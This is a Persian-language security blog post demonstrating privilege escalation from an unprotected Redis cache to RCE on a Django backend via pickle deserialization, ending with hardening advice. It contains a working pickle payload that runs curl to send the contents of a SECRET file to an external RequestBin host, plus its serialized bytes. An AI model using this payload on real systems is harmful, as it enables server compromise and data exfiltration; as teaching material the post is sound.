نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

16 مه 2021

استفاده از Redis Cache در اپلیکیشن‌های وب متداول است. به علت سادگی راه‌اندازی (در حد docker run redis)، ممکن است در تنظیمات امنیتی Redis سهل‌انگاری شود و این دیتابیس در دسترس نفوذگران قرار گیرد. پیش‌تر ذهنیتم این بود که اگر روزی موفق به نفوذ به یک Redis شوم، شاید اطلاعات ارزشمندی در آن Cache بیابم، اما نمی‌توانم به اپلیکیشن تحت وب و سروری که آن را اجرا می‌کند نفوذ کنم.

در این مطلب بررسی می‌کنیم که یک Redis Cache آسیب‌پذیر، علاوه بر این‌که می‌تواند باعث لو رفتن اطلاعات Cache شده باشد، ممکن است پاشنه‌آشیل اپلیکیشن Backend نیز باشد؛ یعنی نفوذگران می‌توانند از طریق یک Redis Cache آسیب‌پذیر، به سرور Backend نفوذ کنند و سطح دسترسی خودشان را بدین‌شکل افزایش دهند.

برای تست این موضوع، یک اپلیکیشن وب تحت Django و با استفاده از Redis Cache راه‌اندازی می‌کنیم. این اپلیکیشن تنها یک view به نام factorial_view دارد که وظیفه‌ی آن، محاسبه‌ی فاکتوریل عدد ورودی می‌باشد.

مقدار n در url قرار می‌گیرد و حاصل factorial(n) در پاسخ ارسال می‌شود.

اما این اپلیکیشن، برای تسریع در پاسخ‌گویی به درخواست‌های خود، از Cache استفاده می‌کند. هر بار که یک n جدید دریافت می‌کند، یک بار factorial(n) را محاسبه می‌کند و آن را در Cache قرار می‌دهد. وقتی که یک n به برنامه داده شود که از پیش در Cache وجود داشته باشد، دیگر محاسبه انجام نخواهد شد و مقادیر از Cache فراخوانی می‌شوند.

برای تست این‌که مکانیزم Cache به درستی کار می‌کند، مقدار Cache شده برای factorial(5) را در Redis به ۱۳ تغییر می‌دهیم و نتیجه را بررسی می‌کنیم.

با تغییر مقدار Cache شده، پاسخ سرور تغییر می‌کند و این یعنی مقادیر موجود در Cache دوباره محاسبه نمی‌شوند.

تا این‌جای کار همه‌چیز مطابق میل کار می‌کند. ولی ما در امنیت Redis خودمان سهل‌انگاری کرده‌ایم و روی آن رمز قرار نداده‌ایم. لذا یک نفوذگر (در این‌جا به نام «جوادی») به آن نفوذ می‌کند و می‌تواند فاکتوریل کلی عدد را در ابتدا از Redis ما استخراج کند. اما جوادی حریص‌تر از این‌هاست و دنبال راهی می‌گردد که بتواند به سرور Backend ما نفوذ کند (چون مدیر سایتمان اطلاعات فوق سری‌ای را روی فایلی به نام SECRET در سرور Backend قرار داده است).

جوادی می‌داند که در Django، به صورت پیش‌فرض برای ذخیره کردن مقادیر در Cache، از Serialization/Deserialization استفاده می‌شود و این عملیات بر عهده‌ی pickle قرار دارد. اما یک موضوع مهم در خصوص pickle وجود دارد و آن موضوع، آسیب‌پذیری pickle به RCE در ورودی‌ها است؛ یعنی هیچ‌گاه نباید pickle.load را روی ورودی‌ای اجرا کنیم که به پاکیِ آن اطمینان نداریم. باگ‌های دسته‌بندی Insecure Deserialization یکی از ۱۰ باگ برتر OWASP هستند. این موضوع نشان‌دهنده‌ی تکرار زیاد این دسته در کنار تأثیرگذار بودن آن‌هاست.

from django.core.cache import cache

cache.set(key, value) # <= Uses pickle to serialize the value and puts it into the cache

cache.get(key) # <= Uses pickle to deserialize the value and returns it to the application

جوادی با خواندن «این پست» یاد می‌گیرد از طریق اسکریپت زیر، یک دنباله از Byteها بسازد که در صورت Deserialize شدن توسط pickle، منجر به اجرای یک دستور روی سرور شوند. هم‌چنین از سایت RequestBin برای دریافت محتوای فایل حساس استفاده می‌کند(در واقع به این عمل out-of-band data extraction گفته می‌شود که از طریق اجرای nc روی یک سرور با IP پابلیک یا استفاده از ابزارهایی چون interact.sh قابل انجام است).

import pickle
import os


class RCE:
    def __reduce__(self):
        cmd = ('curl -d "`cat SECRET`" https://en65ju5qj26pr.x.pipedream.net/')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(list(pickled))
Output: [128, 4, 149, 88, 0, 0, 0, 0, 0, 0, 0, 140, 5, 112, 111, 115, 105, 120, 148, 140, 6, 115, 121, 115, 116, 101, 109, 148, 147, 148, 140, 61, 99, 117, 114, 108, 32, 45, 100, 32, 34, 96, 99, 97, 116, 32, 83, 69, 67, 82, 69, 84, 96, 34, 32, 104, 116, 116, 112, 115, 58, 47, 47, 101, 110, 54, 53, 106, 117, 53, 113, 106, 50, 54, 112, 114, 46, 120, 46, 112, 105, 112, 101, 100, 114, 101, 97, 109, 46, 110, 101, 116, 47, 148, 133, 148, 82, 148, 46]

حال جوادی این دنباله از بایت‌ها را در Redis Cache جایگزین مقدار factorial(5) می‌کند و دوباره از سرور می‌خواهد که این مقدار را به او ارائه کند. پس از ارسال درخواست به آدرس http://127.0.0.1:8000/factorial/5، صحنه‌ی دل‌انگیزی را در RequestBin مشاهده می‌کند:

جوادی در این‌جا موفق به اجرای یک دستور روی سرور Backend شد؛ یعنی سطح دسترسی خود را از Cache به سرور Backend افزایش داده است. شما هم می‌توانید با اجرای این سناریو با استفاده از سورس‌کد این برنامه، حرکات جوادی را تکرار کنید.

در این پست، به حالت خاص نفوذ به Redis Cache یک اپلیکیشن Django پرداختیم. مشخصاً هر کجا که pickle برای Deserialization استفاده می‌شود، ممکن است این اتفاق رخ دهد و در واقع فرقی ندارد Redis برای Cache استفاده شود یا چیز دیگری. هم‌چنین این تکنیک به Django نیز وابستگی ندارد.

چطور آسیب‌پذیر نباشم؟

  • Redis خود را بدون رمز اجرا نکنید.
  • Redis خود را تنها روی Network Interfaceـی اجرا کنید که قرار است از آن طریق بهش متصل شوید؛ مثلاً اگر آن در شبکه‌ی داخلی docker اجرا می‌کنید و همان‌جا بهش وصل می‌شوید، به شبکه‌ی بیرونی وصلش نکنید.
  • هنگامی که از pickle برای Deserialize کردن Objectها استفاده می‌کنید، مطمئن باشید ورودی‌ها پاک هستند (از منشأ متفرقه ورودی نپذیرید).

اضافه شده توسط یاشار شاهین‌زاده: اگه دوست دارین بدونین که این آسیب‌پذیری رو چطور اکسپلویت می‌کنن،‌ میتونید این لینک رو مطالعه کنید. توی این پست هانتر با استفاده از آسیب‌پذیری SSRF تونسته کش Redis رو اکسپلویت کنه و ۱۵ هزار دلار بانتی دریافت کنه.

1 پست نوشته شده
مهندس امنیت در ستون،
دست‌اندرکار برنامه‌ی باگ‌بانتی کافه‌بازار
دسته‌ها: امنیت وب، دانش پایه
  • به اشتراک بگذارید:
برچسب‌ها: ،